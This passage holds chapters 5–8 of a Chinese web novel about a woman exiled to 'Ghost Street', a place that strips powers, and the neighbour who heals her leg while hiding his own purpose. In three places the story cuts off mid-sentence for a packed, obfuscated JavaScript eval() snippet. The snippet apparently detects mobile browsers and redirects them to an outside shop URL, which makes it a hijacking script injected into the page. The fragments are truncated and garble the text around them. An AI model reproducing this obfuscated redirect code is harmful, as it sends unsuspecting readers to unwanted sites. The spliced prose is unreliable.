那人踉踉跄跄地冲过拱门,一头栽在地上,滚了两滚,趴在脏水坑里不动了。 是个年轻男人,看穿着不像是鬼街的人,衣服料子不错,至少在外面世界算是值钱货。 那人趴在地上,浑身发抖,脸埋在脏水里,喉咙里发出咕噜咕噜的声响。 温初花知道这是怎么回事。 刚来鬼街的人都会这样。那道拱门像一张嘴,人一进来,体内的异能就被什么东西一口一口地吸走,抽得干干净净。那感觉就像有人拿根管子插进你骨头里往外吸,吸得你浑身发软,站都站不住,最后晕过去。醒过来的时候,你就是一个普通人了。 没有异能,没有力量,什么都没有。 温初花站在三米外看了两眼。 这种人她见多了。每周都有几个从雾里滚出来,像被吐出来的鱼骨头。有些人躺一天就醒了,有些人躺两三天,还有些人再也没醒过来。没人知道为什么,也没人有兴趣知道。 她本来不想管的。 毕竟鬼街这地方还称得上安全,只要想杀你的人没追过来。 但是鬼街死的人还是很多,因为很多人活着活着就不想活了。 因为出不去,也没希望。街上那些眼神空洞、走路像行尸走肉的,就是已经放弃了的人。 但也过得挺舒服的。街坊邻居互相帮衬,谁家揭不开锅了接济一下,谁生病了帮忙照看一下,都是常事。谈不上多温情,就是一群倒霉蛋凑在一起凑合着过。 当然也有几个小混混,仗着身体底子好,欺负老弱病残。那种人温初花见一个打一个。 她看了一眼地上那人,又看了一眼路上来来往往的人。大家都在走自己的路,没人停下来。 那人抽得太厉害了,头一下一下地往地上磕,磕得满脸是血,身子快横到路中间了。再过一会儿就该有人从他身上踩过去了。 温初花走过去,拽住那人的衣领,把他拖到路边,靠墙根放着。至少不会挡路。 她顺手掰开他的嘴看了一眼,舌头还在,没咬断。行,死不了。 她蹲着探了探鼻息,很弱,但还有。她把手上的泥水在对方衣服上蹭了蹭,站起来。 这人不关她的事。等他自己醒吧。 她没再回头,继续往铁匠铺走去。 老周的铁匠铺在鬼街最偏僻的角落里,一间低矮的砖房,屋顶是石棉瓦,上面压了几块砖头,生怕被风掀了。门口立着一个铁砧,旁边堆着一座煤山,煤灰飘得到处都是,把方圆十米内的地面都染成了黑色。 还没走到,就听见“叮叮当当”的打铁声,节奏不快不慢,像心跳一样稳。 温初花掀开门口的布帘子,一股热浪扑面而来。 炉火烧得正旺,老周光着膀子站在铁砧前,一手钳子一手锤子,正在打一把菜刀。他浑身上下的皮肤都是古铜色的,肩膀上搭着一条脏得看不出颜色的毛巾,汗水顺着脊背往下淌,在腰带上汇成一条小溪。 五十多岁的人了,身上全是腱子肉,比温初花还结实。 “老周。”温初花喊了一声。 老周没停手,锤子落了三下,把那块铁翻了个面,又落了三下,才抬起头来看她。汗水从他的眉毛上滴下来,他拿肩膀上的毛巾蹭了一把,露出两只被炉火熏得发红的眼睛。 “又来?”他说。 “修个东西。”温初花从袖子里掏出那把匕首,递过去。 老周放下锤子,接过匕首,翻来覆去看了看,拿拇指刮了刮刀刃,又凑近了看那个缺口。他哼了一声,声音从鼻子眼里出来,带着一股不满的意思。 “你天天打架,我这铁匠铺都快成你专用的了。”老周说着,把匕首搁在铁砧上,拿钳子夹住刀尖那个缺口,放在炉火上烤。 “那您收我钱不就完了?” “收你钱你有吗?” 温初花咧嘴笑了笑,没否认。她在铁匠铺唯一的那条凳子上坐下来,凳子面被老周的屁股坐出了一个坑,她坐上去的时候整个人往后一仰,差点没翻过去。 炉火烧得很旺,把整间屋子烤得像蒸笼。温初花坐了一会儿就觉得身上黏糊糊的,汗从脖子后面往下淌,痒得很。她看着老周把刀尖烧红,抡起锤子一下一下地砸,每次砸下去都有一小片碎屑崩飞,落在铁砧上,溅起星星点点的火星。 “你今天脸色不对。”老周忽然说,眼睛没看她,盯着手里那把刀。 “刚打了一架。” “跟谁?” “不知道哪来的两条狗。问过了,什么都不知道。” 老周把刀翻了个面,锤子落了三下,声音在屋子里来回撞。他把刀尖浸到冷水里,“嗤”的一声,白气冒上来,遮住了他的脸。 “你对面那小子,”老周的声音从白气后面传出来,“查过吗?” 温初花知道他说的是谁。 “查不了,”她说 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老周没接话,把匕首从炉火上取下来,搁在铁砧上开始打磨。磨刀石转得飞快,刀刃擦在上面,发出一连串“嘶嘶”的声音,细密的火花从刀口上溅出来,落在地上,像一小群萤火虫。 “还有一种人,”老周忽然说。 温初花看他。 老周没有抬头,握着刀的手很稳,一圈一圈地打磨。他的声音混在磨刀声里,听起来有些遥远,像是在说一件跟自己毫无关系的事。 “进来不是为了躲什么,也不是为了体验什么。”老周说,“是这里面有什么东西,值得他进来。” 磨刀声停了。 屋子里忽然安静下来,只有炉火还在“噼啪”地响,偶尔有一块煤崩裂的声音。温初花盯着老周的后脑勺,那上面有一块疤,光溜溜的不长头发,在炉火的映照下泛着红光。 “这里面能有什么?”温初花说。 老周转过身来,把匕首递给她。刀刃已经修好了,缺口被重新锻打成了一个新的弧度,刃口亮得像一汪水。刀柄上原有的那个卡槽被他加深了一些,握在手里更贴合手腕的弧度。 “试试。”他说。 温初花把匕首卡在手腕内侧,手掌张开,刀尖从指缝间探出来,收放自如。她握了握拳,又张开,再握拳,动作流畅得像那是她身体的一部分。 “行,”她说,“多少钱?” 老周看了她一眼,那眼神里的意思是:你跟我提钱? 温初花把匕首收进袖子里,站起来,拍了拍裤子上的灰。她往门口走了两步,又停下来,转过身。 “老周。” “嗯。” “你说得对。” 老周已经重新拿起了锤子,开始打刚才那把没打完的菜刀。他的声音从“叮叮当当”的敲击声中挤出来,有些听不真切,但每个字都是清楚的。 “听人劝,吃饱饭。” 温初花笑了一下,掀开布帘子走了出去。 外面的空气比铁匠铺里凉快多了,但依然闷热,像有一床湿被子盖在整个鬼街的上空。她站在门口深吸了一口气,肺里灌满了煤灰的味儿,呛得她咳了两声。 她抬头往远处看了一眼。鬼街入口的方向,那片浓雾还在翻涌,像一口永远不会平静的大锅。 有个新人刚刚从那里爬进来,晕倒在地上,不知道现在醒了没有。 温初花收回目光,把袖子里那把匕首的位置调整了一下,让它贴得更紧,不会在走路的时候滑出来。 然后她往家的方向走去。 5. 有点意思苏游云 鬼街能去的地方不多。 温初花来来回回待了快三个月,把每条巷子都踩遍了。脏,乱,潮,哪儿哪儿都透着一股子霉味儿。唯一能让人喘口气的地方,是楼顶。 这栋楼是鬼街最高的建筑之一,六层,平顶,没有护栏。楼顶上铺着一层不知道哪年哪月做的防水油毡,早就烂得差不多了,踩上去软塌塌的,像踩在尸体上。但视野好。 坐在这儿能看到大半个鬼街,灰蒙蒙的屋顶,歪歪扭扭的电线杆,远处那道永远翻涌着白雾的拱门。 天气好的时候还能看到更远的地方——藤州岛的天际线,高楼大厦的轮廓在雾气里若隐若现,像另一个世界的海市蜃楼。 今晚没月亮,星星也少。空气闷得像蒸笼,一丝风都没有。 温初花找了块稍微平整的地方坐下来,把腿伸直,后脑勺枕在胳膊上,仰头看着那片灰蒙蒙的天。刀口的地方还在痒,她隔着衣服挠了两下,动作懒洋洋的。 楼下不知道哪家在吵架,声音很大,骂得很难听,听了一会儿又没声了。远处有狗叫,叫了几声也停了。 鬼街的夜晚就是这样,吵一阵,静一阵,像一台快报废的发动机,断断续续地转着,你永远不知道它什么时候彻底熄火。 温初花闭上眼睛。 她没睡着。她只是不想睁眼。 然后她听到了一个声音。 很轻,像布鞋踩在油毡上,几乎没有声响。但她听到了。三个月前她可能听不到,但现在这具身体已经在慢慢恢复,虽然能力回不来,但五感比刚来那会儿强了不少。 她睁开眼,偏头看了一眼。 一个人影不知什么时候出现在楼顶边缘,离她几步远的地方,背对着她站着,面朝鬼街的方向。深色的衣服,跟夜色融在一起,刚才那一眼差点漏过去。 他没看她,目光落在远处的什么地方,像是在看那道拱门,又像什么都没在看。 温初花认出来了。是那个邻居。那个抢钱不反抗、见血不眨眼、像块会走路的木头一样的邻居。 他什么时候上来的?她怎么没听到?就算她闭着眼,以她现在的感知力,一个人从楼梯口走到楼顶边缘,怎么着也该有点动静。但这个人上来的方式,不像走路,像凭空长出来的。 她坐直了身子,把胳膊从脑袋底下抽出来,拍掉身上的灰。 “哎。”她喊了一声。 那人没动。 “温小白。” 他动了一下。不是转身,是头微微偏了偏,像被这个称呼拽了一下。 “你在叫谁?”他说。声音不大,但在这安静的楼顶上听得清清楚楚。 “你啊!”温初花拍了拍旁边的油毡,一脸得意,“我给你取的名字,咋样?好不好听?” 那人没接话。他转过来,朝她这边走了两步,在离她几步远的地方坐下了。姿势很随意,一只腿伸直,一只腿弯着,胳膊搭在膝盖上。整个人放松得像在自己家客厅里。 月光很淡,但足够她看清他的脸。还是那张白净的脸,还是那副眼镜,镜片后面那双眼睛还是没什么表情。 他没说话,温初花倒是来劲了。 “你不知道,我给你取这个名字可是费了脑子的,”她掰着手指头数,“第一,你皮肤白,像那种从来没晒过太阳的小白脸。第二,你什么都不懂,连鬼街的基本规矩都不打听,跟个新人小白一样。第三——” 她顿了顿,咧嘴笑了。 “第三,反正我也姓温,给你安个温姓,算是看得起你。以后有人找你麻烦,你就说你是我温初花的弟弟,保管没人敢动你一根手指头。” 她说这话的时候下巴抬得高高的,那副样子活像个收了新小弟的大姐头。 那人沉默着。 沉默了许久。 久到温初花以为他压根没打算回答,甚至怀疑他是不是坐着睡着了。她正要伸手在他眼前晃一晃,他开口了。 “苏游云。” 温初花愣了一下:“啥?” “我的名字,”他说,“苏游云。” 温初花张了张嘴,又合上了。她把这几个字在脑子里过了一遍——苏游云。苏是苏州的苏?游是游荡的游?云是云彩的云? “苏游云,”她念出声来,品了品,“听着像个读书人的名字,跟你这张脸倒是配。” 她又念了一遍,忽然笑了。 “你这名儿吧,好是好,就是太文绉绉了,”她说,“我们这儿都是粗人,叫你这个名字叫不顺口。我还是觉得温小白好,听着亲切,像自家人。要不这样,平时我叫你小白,正式场合我叫你苏游云,怎么样?” 那人没接话。 温初花自顾自地点了点头:“行,就这么定了。” 她靠在墙垛上,两只手枕在脑后,小腿交叠着晃了晃,心情莫名地不错。来鬼街三个月了,这是她第一次跟一个人说了超过三句话还没想动手打人。 “苏游云,”她又在嘴里念了一遍,然后啧了一声,“你说你爹妈怎么给你取这么个名儿?又苏又游又云的,听着就不像个能打架的。不过也难怪,你这长相,取什么名儿都像读书人。” 她偏头看了他一眼,月亮刚好从云层后面露出来,薄薄的光落在他的侧脸上,把眼镜边框的影子投在颧骨上。 “不像我,”她说,“温初花,听着就是个干粗活的。我姨说了,路边的野花最好活,不用人管也能开。她给我取这名儿,就是让我别指望别人。” 她说完自己先笑了,笑了两声又收了。 “算了,跟你说这些干嘛,你又不会接话。” 他偏过头来,看了她一眼。那一眼跟之前不一样,之前是扫,现在是看。从她的脸看到肩膀,从肩膀看到手臂,从手臂看到手腕,最后落在她右腿上。 “你今天对付第二个杀手的时候,”他说,“右腿慢了半拍。” 温初花的脊背一下子绷直了。 她不是那种被人盯着看会不自在的人,但这个人说出来的这句话,让她后脖颈的汗毛竖了起来。不是因为他说得对,而是因为他说得太准了。 今天那场打斗,矮壮和瘦高,她全程都在注意自己的破绽,右腿确实慢了,因为膝盖上那条旧伤还没好透。但那个“半拍”是很细微的差别,一般人根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526853|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本看不出来。 她盯着他的侧脸看了两秒。 “你懂格斗?”她说,语气还是那种大大咧咧的调调,但声音底下压着一层东西。 苏游云把目光从她腿上收回来,重新落在远处的拱门上。 “略懂。” 她哼了一声。 “看了三个月,就看出这个?” 这话说出来她自己都觉得没底气。但她就这个脾气,越是心里没底,嘴上越要占点便宜。 苏游云没看她。 “还看出你三个月前受过伤,”他说,“右腿一直没好利索。” 温初花沉默了。 三个月前,她刚来鬼街的时候。那时候她浑身是伤,右腿上有一道很深的刀伤,差点砍到骨头。她自己处理了,没有找任何人帮忙。她以为自己藏得很好,走路的时候不瘸,上楼梯的时候不快不慢,跟别人说话的时候从来不会表现出来。 但这个人注意到了。 她不知道他是怎么看出来的。但她知道了一件事——这个人不像她以为的那样对他们周围的一切无所谓。他在看。他一直在看。 她不说话了。楼顶忽然安静下来,连楼下吵架的声音都没了,只剩远处那条狗,还在断断续续地叫。 苏游云站了起来。 他站起来的动作很轻,膝盖没发出任何声响,重心从地面往上移的过程流畅得像水往低处流。这个细节又让温初花心里咯噔了一下——她认识的人里,能做到这种程度的不多,基本都是练了十年以上的老手。 他没有看她,把手上不存在的灰拍了拍。 “如果你继续这样打下去,”他说,声音平淡得像在说天气预报,“总有一天会死。” 然后他走了。 步子不快不慢,鞋底踩在油毡上,声音轻得像猫。走到楼梯口的时候,他的身影被那个黑乎乎的方洞吞掉了,脚步声在楼梯间里响了几下,越来越远,最后被整栋楼吸收得一干二净。 温初花坐在原地,手还撑在身后的油毡上,姿势没变过。 她看着楼梯口那个黑洞洞的方口,脑子里在转很多事情。 这个人三个月前就看出了她的伤。这个人懂格斗,不是那种嘴上说说的懂,是真正能从半拍的动作里读出一个伤病的懂。 这个人说她继续这样打下去会死——不是吓唬她,不是在说狠话,就是用那种说“今天天气不好”的语气,陈述了一个事实。 她第一次觉得,这个人不简单。 不是那种“有点奇怪”的不简单,是那种“你惹不起但我劝你最好离他远点”的不简单。 但温初花这个人,最大的毛病就是:别人越是劝她离远点,她越是好奇。 “苏游云,”她在嘴里念了一遍这个名字,然后又念了一遍,“苏——游——云。” 她仰头看了一眼天空,月亮不知道什么时候从云层后面露出来了,薄薄的一层光洒在楼顶上,把那些破破烂烂的油毡照得像一片银色的废墟。 她把手从油毡上收回来,翻了个身,一条腿搭在楼顶边缘,晃了两下。 “有点意思。”她说。 6. 热心肠的邻居 温初花在那扇门前站了快两分钟。 门还是那样,干干净净的,什么都没有。没有春联,没有福字,连个门牌号都没贴。门把手擦得发亮,像是每天都有人擦。她盯着那个门把手看了几秒,脑子里转过好几个念头。 这人点了她的伤,不是随口说的。 他说“右腿一直没好利索”的时候,那个语气不是关心,是陈述。好像在说:我知道你有这个问题,你自己也知道,但你一直在装不知道。 她确实在装。右腿的伤三个月了,走路不瘸,跑跳不疼,但一到关键时刻就掉链子。 上次打那两个喽啰的时候,她有一个侧移的动作,脑子里想的是往左,身体也往左,但右腿蹬地那一下软了,慢了半拍。要不是矮壮那一刀偏了,那她可不能在屋顶乘凉了,是在阎王爷那儿排队。 苏游云看出来了。 这人为什么要说出来?单纯提醒她?温初花不信。她活了二十多年,从来没有人“单纯”地对她做过任何事。每个对你笑的人背后都有一把算盘,噼里啪啦地响。 他在打什么主意?温初花靠在走廊的墙上,眯着眼想了半天。 点出她的伤,说明他有观察力。说“总有一天会死”,说明他有判断力。能在屋顶上悄无声息地出现,说明他有……什么?轻功?身法?不管是什么,都不是普通人能做到的。 鬼街把人压成了普通人,但他身上那种“不普通”的东西,像是藏在皮肤底下的纹身,再厚的衣服都盖不住。 他说“略懂”格斗的时候,那个表情,那个语气,不像是在谦虚,像是在说一个不重要的事实。就像有人说“我会吃饭”一样,不值得炫耀。 所以这个人,有能力。 一个有能力的人,特意点出她的问题,然后呢?等着她来求他? 温初花悟了。 他爸的他就是在等她来求他。 这人想从她身上得到什么?她有什么?钱?没有。势?在鬼街她就是个普通人。能力?被压得干干净净。身体?她低头看了看自己,肋下那道疤还没好全,右腿还瘸着,指望谁看上她? 除非——他想要她这个人。 不是那种想要。温初花在脑子里把这个念头摁了下去。太离谱了。这人不像是那种见了女人走不动道的货色,他看她的眼神跟看一堵墙差不多。 那是为什么?保镖?她在鬼街打了几个月架,是能打,但在一个有能力的“略懂”格斗的人面前,她这点三脚猫功夫算什么?他需要她保护?那他不如自己去打。 也许——也许他是真的能治她的伤,然后从她这里得到什么消息?她脑子里那点东西,值得他这么大费周章吗? 值得吗? 温初花的脑子里闪过一个人名,又立刻掐灭了。 不可能。 那件事事关重大,那群人都不可能泄露出去,让别人知道了,对谁都没有好处。不是没人问过,是她从来没说过。追杀她的人不知道,沈婆婆不知道,陈老板不知道,没有人知道。 除非他能读心。 她差点笑出声。读心?真要能读心,他也不用来鬼街了,在外面随便读几个大人物的心,升官发财不香吗? 扯远了。 不管了,先敲门。治好腿再说。治好了,他要什么再谈;治不好,当她没来过。 温初花深吸一口气,在裤腿上蹭了蹭手心的汗——她不知道自己在紧张什么——然后抬手敲了三下。 笃笃笃。 没反应。 她又敲了三下,重了一点。 门开了。 苏游云站在门口,穿着那件深灰色的薄外套,里面的衬衫还是扣到最上面一颗。他看着温初花,脸上没什么表情,但温初花觉得他好像早就知道她会来。不是那种“我猜你会来”的知道,是那种“我在等你”的知道。 不对,想多了。 “你说我右腿有问题,”温初花开门见山,“那你有什么办法?” 苏游云看了她一眼。那一眼跟之前不一样,带着点——她说不上来,可能是满意?像老师看到学生终于交作业了的那种满意。 “你终于肯主动来找我了。”他说。 温初花的眉头拧了一下。果然。这人就是在等她来。 她心里的那点犹豫和盘算在这一刻变成了一种说不清道不明的烦躁,像是被人看穿了底牌。她不喜欢这种感觉。 “少废话,”她的语气硬了几分,没有之前那种嬉皮笑脸的味道了,“你是不是会医术?” 不算翻脸,但态度明显不一样了。之前她叫他“温小白”的时候,那是把他当个乐子,当个可以调侃的邻居。现在她站在他门口,问的是正事。 她不想让他觉得她跟他之间有什么交情,她来找他,是因为他点出了她的伤,而她现在需要一个解决这个伤的人。 苏游云没因为她的语气变差而有什么反应。他就站在那里,听完了,然后说了一句:“不算医术。但我可以帮你恢复。” 温初花盯着他的脸看了两秒,想从他眼睛里找出一丝说谎的痕迹。找不到。那双眼睛还是一样,什么都没有,像干干净净的玻璃窗,你能透过它看到后面,但后面也是一片空白。 “进来吧。”他说。 他让开了半个身位,把她让进了屋子。 温初花进屋的时候,腿抬了一下又放下了。她在门口站了一瞬,扫了一眼屋里的情况。 跟她想象的不一样。 她以为一个把门面收拾得这么干净的人,屋子里应该也是一尘不染的。确实干净,但不是那种讲究的干净——屋里只有一张床,一个衣柜,一张桌子,一把椅子。床上的被子叠得整整齐齐,方方正正,像一个豆腐块。桌上什么都没有,连个杯子都没有。墙上什么都没有,光秃秃的,白墙皮有些地方已经起皮了,但他没有贴任何东西去遮。 这不像一个人住的地方,像一个旅馆的房间。随时可以搬进来,随时可以搬走。 “坐。”苏游云指了指那把椅子。 温初花没坐。她靠在那张桌子上,把胳膊交叉在胸前,看着他。 苏游云也没坚持。他走到她面前,蹲了下来。 温初花下意识地往后退了半步,腰撞在桌沿上,桌子晃了一下。 “你干嘛?” “看你腿。”苏游云说,头都没抬。 他蹲在她面前,伸手捏住了她右腿的小腿肚。手指不轻不重地按了几下,从膝盖往下,一直按到脚踝。温初花低着头看他的手——那双手很长,骨节分明,指甲修得很整齐。不太像一双练家子的手,更像一双数钱的手。 “你的胫骨内侧有旧伤,”苏游云说,手上的动作没停,“没接好,错位了一点。平时不碍事,但爆发的时候会卡住,力量传导不过去。” 温初花没说话。她知道他说得对。三个月前那道刀伤砍在小腿上,她当时自己处理了,骨头确实歪了一点,但她觉得不是什么大事,就没管。 “能治吗?” “能。” 苏游云站起来,走到床边,从床底下拉出一个小木箱。箱子不大,比温初花自己钉的那个结实多了,表面打磨得很光滑,边角包了铜皮。他打开箱子,里面整整齐齐地摆着几样东西:一盒银针,一个小瓷瓶,一卷纱布,还有一块不知道什么材质的石头,黑漆漆的,表面有裂纹。 温初花看着那盒银针,眉头皱了一下。“你是中医?” “不算。” “你到底算什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他把那根针移到了另一个穴位上,又悬在那里。又是那股暖流,这次更明显了,像一根细细的线从针尖牵出来,钻进她的骨头里,把那些淤堵的地方一点一点地通开。 温初花的右腿开始发麻。不是血液不通的那种麻,是那种沉睡了很久终于被唤醒的麻。她能感觉到小腿里有一些东西在被重新排列,错位的、淤堵的、死掉的,都在一点一点地活过来。 她咬着嘴唇没出声。 这个过程持续了大约十分钟。苏游云换了三个位置,每次都把针悬在皮肤上方,没有任何一个瞬间接触到她的身体。但那股暖流一次比一次强,到最后温初花的小腿热得像泡在温水里,疤的颜色变浅了,周围的皮肤恢复了正常的血色。 苏游云把针收起来,盖上瓷瓶的盖子,把纱布卷好放回箱子。他站起来,看了一眼她的腿,说了一句:“走两步。” 温初花把裤腿放下来,在地上走了两步。右腿落地的时候,她愣了一下。那种涩涩的感觉没有了,膝盖弯下去再弹起来的时候,力量是连贯的,从大腿传到小腿再到脚掌,中间没有任何断档。 她又走了两步,更快一些。然后原地跳了一下。 好了。 真的好了。 她转过身看着苏游云。他已经在收拾那个小木箱了,把东西一样一样放回去,盖上盖子,推到床底下。整个动作流畅得像做过无数次,不需要思考,不需要停留。 温初花张了张嘴想说谢谢,又觉得不太对。这不是一声谢谢就能过去的事。 她在这个破地方待了三个月,见过的人都是各扫门前雪的货色,没有人会无缘无故地帮别人做任何事。这个人帮她治好了腿,一定是有原因的。 7. 苍蝇和蚊子 既然猜不透,不如直接一点。 “你想要什么?” 苏游云把箱子推到床底最深处,直起身来。他没有马上回答,而是转过身,面对着温初花,靠在床沿上。手臂抱在胸前,头微微低着,那双没什么表情的眼睛从镜片后面看着她。 温初花被他看得有点发毛,但她没躲,也没催。 过了一会儿,苏游云开口了。他没有回答她的问题,而是问了一个问题。 “追杀你的人,到底想要什么?” 这话问得平平淡淡的,像在问今天晚饭吃了什么。但温初花听到这句话的时候,浑身上下的肌肉都绷紧了。 她的脑子里闪过很多东西—— 三个月前的那个夜晚,雨下得很大。 她潜进□□的机密库房,是为了找证据。她在这个组织干了五年,任务做了不下上百个,从没出过差错。但最近半年不一样了——每次任务都像被人提前泄露了消息,目标跑了,埋伏到了,走哪哪有人堵她。她不信巧合,一次两次是意外,五六次就是有人搞她。 她要查清楚是谁在背后捅刀子,为什么。 库房里没什么人。她翻了一堆档案,没找到想要的,走的时候顺手拿了一个黑匣子。巴掌大,方方正正,不知道什么材质,上面没有任何标识,没有缝隙,像个完整的黑色石块。 她说不清为什么拿这东西。可能是库房里就它看着最奇怪,可能是直觉告诉她这玩意不一般。她没多想,揣进兜里就走了。 后来追杀她的人越来越多,越来越疯。她上线死了,下线跑了,认识的人要么失联要么翻脸。她从城市逃到荒野,从荒野逃到海边,从海边逃到藤州岛,又从藤州逃进了鬼街。 那些人追了一路,杀了一路。每次堵住她,二话不说就动手。温初花从不给他们开口的机会——她下手快,杀人更快,往往对方还没说出第二句话,就已经躺在地上了。所以她从来没听到过他们为什么要杀她,也没问过。在她眼里,追杀就是追杀,不需要理由,还手就是还手,不需要废话。 至于那个黑匣子——她早就忘了。逃命的时候丢过太多东西,那玩意不知道是扔在了哪条路上,还是跟哪件换下来的脏衣服一起塞进了某个角落。她根本没在意过,也从来没把它跟追杀联系到一起。 她不知道那些人要的是那个匣子。她甚至不知道那些人要什么东西。 她只知道自己被人追杀,一路追到了这个破地方。 而那个真正的秘密——那个她从来不会对任何人提起的秘密——比黑匣子重得多,也比追杀重得多。 在走上逃亡路后的某个雨夜,她站在巷子尽头,身后是一具尸体。她看了那具尸体最后一眼,烧了一封信,然后走进雨里,再也没有回头。 没有人知道那封信上写了什么。 除了那些人,知道这件事的人都死了,只有她是例外。 她是不会死的,毕竟她要是死了,这个秘密就没有意义了。 不过那群蠢货还是不停地骚扰她,就像是吃饭时,在餐桌自由飞舞的苍蝇和蚊子,嗡嗡叫着, 烦得很。苍蝇打不着,只不过偷吃点菜;蚊子倒是活不长,但爱吸血。 如果苏游云知道了这件事,他会怎么做?成为苍蝇还是蚊子? 温初花没有回答。 她看着苏游云的眼睛,那双什么表情都没有的眼睛,看了大概两秒钟,然后她移开了目光。 “谢了,”她说,“腿好了。你有事找我再说。” 她转身往门口走,步子不快不慢,右腿落地的时候稳稳当当的,没有一点拖泥带水。 走到门口的时候她的手搭在门把手上,回头看了一眼,想说点什么,最后还是什么都没说,拧开门走了出去。 走廊里的空气比屋里凉一些,她靠在门板上站了两秒,深深地呼出一口气。 她抬手搓了搓脸,把脑子里那些乱七八糟的念头搓散了,然后直起身,朝自己那间屋子的方向走。 身后那扇门没有关上,她能听到门轴慢慢转回来的声音,然后是一个很轻的咔嗒声。 门关上了。 她没回头。 走廊里的脚步声渐渐远了。 苏游云看着关上的门,回想着刚刚的事情,一切都在掌控之中,很好。 通过这段时间对温初花的观察,自己已经差不多摸透了她的性格,一个爱胡思乱想的性格。 有些事情不用说得太清楚,她自己就会脑补出合适的剧情。 在自己的身份还无法透露的时候,不如让她先好好猜猜。 他抬起左手,把袖子往上推了半寸。 小臂内侧,一个针眼大小的红点,周围的皮肤微微发青。他盯着那个红点看了两秒,拇指按上去,轻轻揉了两下。皮下的血管微微跳动,像有什么东西在里面缓慢地流淌。 那是今天中午注射的。 估计着温初花的耐心,苏游云在她敲门之前,从墙角的衣柜里拿出了一个箱子。 那是一个不起眼的黑色箱子,二十寸见方,金属外壳,表面没有任何标识。他在箱子前蹲下来,伸出右手,五指贴在箱盖上。 箱盖亮了一下。 不是灯,是那种金属本身发出的微光,冷白色的,从他的手底下往外扩散,沿着箱子的边缘走了一圈,最后汇聚在正前方的一个小点上。那个点闪了三下,然后一声极轻的“咔嗒”——锁开了。 这个过程不到两秒。 箱子扫描了触摸者的掌纹、指纹、静脉分布,同时读取了脑电波。 它能确认两件事:第一,触摸者是它的主人;第二,主人的意识是自由的,没有受到任何胁迫或药物影响。如果有人拿枪顶着苏游云的头逼他开箱,箱子会检测到他脑电波中的恐惧和压抑信号,然后永久锁定,里面的东西会在三秒内自毁。 这是藤州以外的东西。是那个被高科技堆砌起来的外部世界的产物,任何一个放在藤州岛上,都够得上“违禁品”三个字。但苏游云把它带进来了,穿过那片浓雾,穿过那道压制一切异能的拱门,带到了鬼街这个连电都不太稳定的地方。 箱盖缓缓弹开。 里面整整齐齐地排列着六支玻璃瓶,拇指粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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治疗的时候,能量从针尖传导出去,微弱的波动在他的指尖和她的腿骨之间形成了一个闭环。那个闭环持续了不到十秒,但在这十秒里,他感觉到了某种东西——某种不应该出现在鬼街的东西。 温初花的体内,有东西。 不是异能,不是残留的能量,是某种更深层的、跟他的药剂产生了共鸣的东西。 像两个频率相同的音叉,一个被敲响了,另一个跟着振动。那个共鸣很微弱,一闪而过,但他捕捉到了。 这就是他来的原因。 温初花什么也没感觉到。 或者说,她感觉到了那股暖流,但她以为那是治疗的效果。她不知道那股暖流里有一种东西,正试探着触碰她体内某种沉睡已久的物质。 两种东西在她的骨头里对望了一眼,又各自缩了回去。 苏游云走到墙角看了一眼。 箱子还是静静地躺在那,但是它或许也知道自己的任务完成了一半,闪烁着微弱的光芒,把自己的兴奋传递给苏游云。 苏游云用手拂过箱子表面。 箱子的感应灯灭了,但那个温度还在——他的手心里,还有那股共鸣残留的一点余温。 他把箱子推到墙角,用一块旧布盖住了。 窗帘被风掀开一角,月光又挤了进来,照在他左小臂内侧那个新鲜的针眼上。 皮肤微微发青,血管比平时鼓了一些,能看到里面有东西在缓缓流动,像暗河。 药效正在消退。 他闭上眼睛,等着能量一滴一滴地漏出去。 8. 打架厉害的邻居 凌晨四点,鬼街最安静的时候。 温初花没睡着。她躺在床上,盯着天花板上那道歪歪扭扭的裂缝,脑子里翻来覆去地转着几个画面——苏游云蹲在她面前的样子,那根悬在皮肤上方的银针,那股从骨头里泛上来的暖流。 她翻了个身,行军床吱呀响了一声。 右腿确实好了。她白天试了好几次,深蹲、跳跃、突然变向,以前那种涩涩的卡顿感完全消失了,整条腿像上了新油一样顺滑。这不是普通的手段能达成的效果,她心里清楚。 但她也清楚,这世上没有白吃的饭。 楼下忽然传来一声闷响。 温初花猛地坐起来。那声音不对,不是猫翻垃圾桶,不是醉鬼摔跤,是金属碰撞金属的声音,很轻,但很脆。 她侧耳听了两秒,又一声,比刚才近了些。 她掀开被子,光脚踩在水泥地上。冰凉的触感从脚底板蹿上来,把她最后一丝困意赶跑了。她弯腰从床底摸出那把匕首,卡在手腕内侧,手掌一张,刀尖从指缝间探出来。刃口在黑暗中亮了一下。 脚步声从楼下传上来。三个人,步伐很轻,但没刻意隐藏。 不是那种偷偷摸摸的小贼,是那种知道你会察觉到、但不在乎的那种走法。 鬼街这种地方,凌晨四点用这种步伐走路的人,只干一种勾当。 温初花打开门,走进走廊。 楼道里的灯早就坏了,只有拐角处那扇破窗户透进来一点月光,把楼梯切割成明暗相间的条纹。她靠在走廊的栏杆上,往下看了一眼。 三个人正在上三楼。 领头的那个身形壮实,穿着一件深色的夹克,袖子挽到手肘。跟在他身后的两个稍瘦一些,但走路的姿态都很稳,重心压得很低,每一步踩下去都带着随时可以爆发的那种张力。 从外面进来的人。鬼街的老油条不会有这种走法——不是走不出来,是不需要。 在鬼街待久了的人都知道,这种随时准备动手的姿态本身就是一种累赘,浪费体力,毫无必要。 但刚进来的人不懂。他们还带着外面世界的习惯,像刚从战场上退下来的兵,还没学会怎么当平民。 